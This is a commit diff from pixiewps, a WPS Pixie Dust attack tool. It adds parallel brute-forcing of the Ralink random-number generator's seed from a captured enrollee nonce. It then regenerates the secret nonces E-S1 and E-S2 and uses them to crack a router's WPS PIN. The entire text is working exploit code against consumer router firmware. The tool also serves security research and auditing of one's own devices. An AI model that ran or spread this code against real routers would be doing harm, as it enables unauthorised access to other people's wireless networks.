implement parallel cracking for ralink

since we already had realtek parallelized, let's do the same for
ralink too.

this commit is the result of a collaborative effort between
@wiire-a and myself.

src/pixiewps.c

@@ -25,6 +25,7 @@
 #include <getopt.h>
 #include <pthread.h>
 #include <limits.h>
+#include <assert.h>
 #include <stdarg.h> /* libtommath.c */
 #if defined(_WIN32) || defined(__WIN32__)
 #include <windows.h>
@@ -77,24 +78,24 @@ static const struct option long_options[] = {
 	{  0,          0,                 0,  0  }
 };
 
-#define SECS_PER_JOB_BLOCK 1000
+#define SEEDS_PER_JOB_BLOCK 1000
 
 struct crack_job {
 	pthread_t thr;
-	time_t start;
+	uint32_t start;
 };
 
 static struct job_control {
 	int jobs;
-	time_t end;
+	int mode;
+	uint32_t end;
 	uint32_t randr_enonce[4];
 	struct crack_job *crack_jobs;
 	volatile uint32_t nonce_seed;
 } job_control;
 
-static void *crack_thread(void *arg) {
+static void crack_thread_rtl(struct crack_job *j) {
 	struct glibc_lazyprng glibc_lazyprng;
-	struct crack_job *j = arg;
 	uint32_t seed = j->start;
 	uint32_t limit = job_control.end;
 	uint32_t tmp[4];
@@ -113,14 +114,90 @@ static void *crack_thread(void *arg) {
 
 		seed--;
 
-		if (seed < j->start - SECS_PER_JOB_BLOCK) {
+		if (seed < j->start - SEEDS_PER_JOB_BLOCK) {
-			long long tmp = j->start - SECS_PER_JOB_BLOCK * job_control.jobs;
+			long long tmp = j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs;
 			if (tmp < 0) break;
 			j->start = tmp;
 			seed = j->start;
 			if (seed < limit) break;
 		}
 	}
+}
+
+struct ralink_randstate {
+	uint32_t sreg;
+};
+
+static unsigned char ralink_randbyte(struct ralink_randstate *state) {
+	unsigned char r = 0, result;
+
+	if (state->sreg == 0)
+		state->sreg = 1;
+
+	for (int i = 0; i< 8; i++) {
+		if (state->sreg & 0x00000001) {
+			state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000;
+			result = 1;
+		} else {
+			state->sreg = state->sreg >> 1;
+			result = 0;
+		}
+		r = (r << 1) | result;
+	}
+	return r;
+}
+
+static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) {
+	uint32_t seed;
+	struct ralink_randstate prng;
+	unsigned char testnonce[16] = {0};
+	unsigned char *search_nonce = (void*) job_control.randr_enonce;
+	int i;
+
+	for (seed = start; seed < end; seed++) {
+		prng.sreg = seed;
+		testnonce[0] = ralink_randbyte(&prng);
+		if (testnonce[0] != search_nonce[0]) continue;
+		for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng);
+		if(memcmp(testnonce, search_nonce, 4)) continue;
+		for (i = 4; i < 16; i++) testnonce[i] = ralink_randbyte(&prng);
+		if(!memcmp(testnonce, search_nonce, 16)) {
+			*result = seed;
+			return 1;
+		}
+	}
+	return 0;
+}
+
+static void crack_thread_rt(struct crack_job *j) {
+	uint64_t tmp;
+	uint32_t start = j->start, end;
+	uint32_t res;
+
+	while (!job_control.nonce_seed) {
+		tmp = (uint64_t) start + (uint64_t) SEEDS_PER_JOB_BLOCK;
+		if (tmp > (uint64_t) job_control.end) tmp =  job_control.end;
+		end = tmp;
+
+		if (crack_rt(start, end, &res)) {
+			job_control.nonce_seed = res;
+			DEBUG_PRINT("Seed found %u", (unsigned) res);
+		}
+		tmp = (uint64_t) start + (uint64_t) (SEEDS_PER_JOB_BLOCK * job_control.jobs);
+		if (tmp > (uint64_t) job_control.end) break;
+		start = tmp;
+	}
+}
+
+static void *crack_thread(void *arg) {
+	struct crack_job *j = arg;
+
+	if (job_control.mode == RTL819x)
+		crack_thread_rtl(j);
+	else if (job_control.mode == RT)
+		crack_thread_rt(j);
+	else
+		assert(0);
 
 	return 0;
 }
@@ -144,28 +221,35 @@ static void setup_thread(int i) {
 }
 #endif
 
-static void init_crack_jobs(struct global *wps) {
+static void init_crack_jobs(struct global *wps, int mode) {
 	job_control.jobs = wps->jobs;
-	job_control.end = wps->end;
+	job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu;
+	job_control.mode = mode;
 	job_control.nonce_seed = 0;
 	memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
+
 	/* Converting enrollee nonce to the sequence may be generated by current random function */
 	int i, j = 0;
-	for (i = 0; i < 4; i++) {
+	if(mode == RTL819x)
-		job_control.randr_enonce[i] |= wps->e_nonce[j++];
+		for (i = 0; i < 4; i++) {
-		job_control.randr_enonce[i] <<= 8;
+			job_control.randr_enonce[i] |= wps->e_nonce[j++];
-		job_control.randr_enonce[i] |= wps->e_nonce[j++];
+			job_control.randr_enonce[i] <<= 8;
-		job_control.randr_enonce[i] <<= 8;
+			job_control.randr_enonce[i] |= wps->e_nonce[j++];
-		job_control.randr_enonce[i] |= wps->e_nonce[j++];
+			job_control.randr_enonce[i] <<= 8;
-		job_control.randr_enonce[i] <<= 8;
+			job_control.randr_enonce[i] |= wps->e_nonce[j++];
-		job_control.randr_enonce[i] |= wps->e_nonce[j++];
+			job_control.randr_enonce[i] <<= 8;
-	}
+			job_control.randr_enonce[i] |= wps->e_nonce[j++];
+		}
+	else
+		memcpy(job_control.randr_enonce, wps->e_nonce, 16);
+
 	job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
-	time_t curr = wps->start;
+	uint32_t curr = (mode == RTL819x) ? wps->start : 0;
+	uint32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK;
 	for(i = 0; i < wps->jobs; i++) {
 		job_control.crack_jobs[i].start = curr;
 		setup_thread(i);
-		curr -= SECS_PER_JOB_BLOCK;
+		curr += add;
 	}
 }
 
@@ -844,6 +928,42 @@ usage_err:
 				goto memory_err;
 			}
 
+			if (!found_p_mode) {
+				init_crack_jobs(wps, RT);
+				nonce_seed = collect_crack_jobs();
+				if (nonce_seed != 0) {
+					unsigned lfsr = bit_revert(nonce_seed);
+					int k = 8 * 32;
+					while (k--) {
+						unsigned int lsb_mask = ~(lfsr & 1) + 1;
+						lfsr ^= lsb_mask & 0xd4000003;
+						lfsr >>= 1;
+						lfsr |= lsb_mask & 0x80000000;
+					}
+					struct ralink_randstate prng;
+					prng.sreg = bit_revert(lfsr);
+					s1_seed = prng.sreg;
+					for (int i = 0; i < WPS_NONCE_LEN; i++)
+						wps->e_s1[i] = ralink_randbyte(&prng);
+					s2_seed = prng.sreg;
+					for (int i = 0; i < WPS_NONCE_LEN; i++)
+						wps->e_s2[i] = ralink_randbyte(&prng);
+
+					DEBUG_PRINT("Trying with E-S1: ");
+					DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN);
+					DEBUG_PRINT("Trying with E-S2: ");
+					DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
+
+					r = crack(wps, pin);
+					if (r == PIN_FOUND) {
+						found_p_mode = RT;
+						DEBUG_PRINT("Pin found");
+					} else if (r == MEM_ERROR) {
+						goto memory_err;
+					}
+				}
+			}
+
 		/* 2 */
 		} else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) {
 
@@ -866,7 +986,7 @@ usage_err:
 					for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
 						wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
 
-					DEBUG_PRINT("Seed found");
+					DEBUG_PRINT("Seed found %u", nonce_seed);
 					break;
 				}
 				index++;
@@ -924,7 +1044,7 @@ usage_err:
 					if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4]  & 0x80) &&
 						!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
 
-						init_crack_jobs(wps);
+						init_crack_jobs(wps, RTL819x);
 
 						#if DEBUG
 						{
@@ -1178,10 +1298,15 @@ usage_err:
 		if (wps->e_nonce) {
 			if (wps->verbosity > 2) {
 				if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed)
-					|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
+						|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
 
 					printf("\n [*] Seed N1:  %u", nonce_seed);
 				}
+				if (found_p_mode == RT && s1_seed && s2_seed) {
+					printf("\n [*] Seed N1:  0x%08x", nonce_seed);
+					printf("\n [*] Seed ES1: 0x%08x", s1_seed);
+					printf("\n [*] Seed ES2: 0x%08x", s2_seed);
+				}
 				if (found_p_mode == RTL819x && nonce_seed) {
 					time_t seed_time;
 					struct tm ts;

src/utils.h

@@ -122,6 +122,18 @@ int get_int(char *in, int *out) {
 	return 0;
 }
 
+unsigned int bit_revert(unsigned int v) {
+	int i;
+	unsigned int lsb, n = 0;
+	for (i = 0; i < sizeof(unsigned int) * 8; i++) {
+		lsb = v & 1;
+		v >>= 1;
+		n <<= 1;
+		n |= lsb;
+	}
+	return n;
+}
+
 /* Custom timegm function made by Eric S Raymond */
 time_t c_timegm(register struct tm *t) {
 	register long year;